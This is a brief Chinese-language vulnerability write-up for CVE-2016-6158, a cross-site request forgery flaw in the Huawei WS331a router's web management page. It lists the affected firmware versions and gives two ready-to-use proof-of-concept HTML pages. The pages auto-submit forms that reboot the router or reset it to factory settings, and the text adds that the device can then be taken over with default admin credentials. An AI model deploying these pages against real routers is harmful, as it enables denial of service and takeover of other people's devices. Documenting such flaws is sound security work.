# （CVE-2016-6158）华为WS331a产品管理页面存在CSRF漏洞

## 一、漏洞简介

HuaweiWS331a是中国华为（Huawei）公司的一款迷你无线路由器。使用WS331a-10V100R001C01B112之前版本软件的HuaweiWS331a路由器的管理界面存在跨站请求伪造漏洞。远程攻击者可通过提交特制的请求利用该漏洞恢复出厂设置或重启设备。

## 二、漏洞影响

WS331a-10 V100R001C02B017SP01及之前版本

## 三、复现过程

### POC实现代码如下：

当管理员登陆后，打开如下poc页面，WS331a设备将重启。

<form action="http://192.168.3.1/api/service/reboot.cgi" method="post">
</form>
<script> document.forms[0].submit(); </script>

当管理员登陆后，打开如下poc页面，WS331a设备将恢复初始化配置。设备自动重启后不需要密码即可连接热点，并使用amdin/admin对设备进行管理控制。

<form action="http://192.168.3.1/api/service/restoredefcfg.cgi" method="post">
</form>
<script> document.forms[0].submit(); </script>